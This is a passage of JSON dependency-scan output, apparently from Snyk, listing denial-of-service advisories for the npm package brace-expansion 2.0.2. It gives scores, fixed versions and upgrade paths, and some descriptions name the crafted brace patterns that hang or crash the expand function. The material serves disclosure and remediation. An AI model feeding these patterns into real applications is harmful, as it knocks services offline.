"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
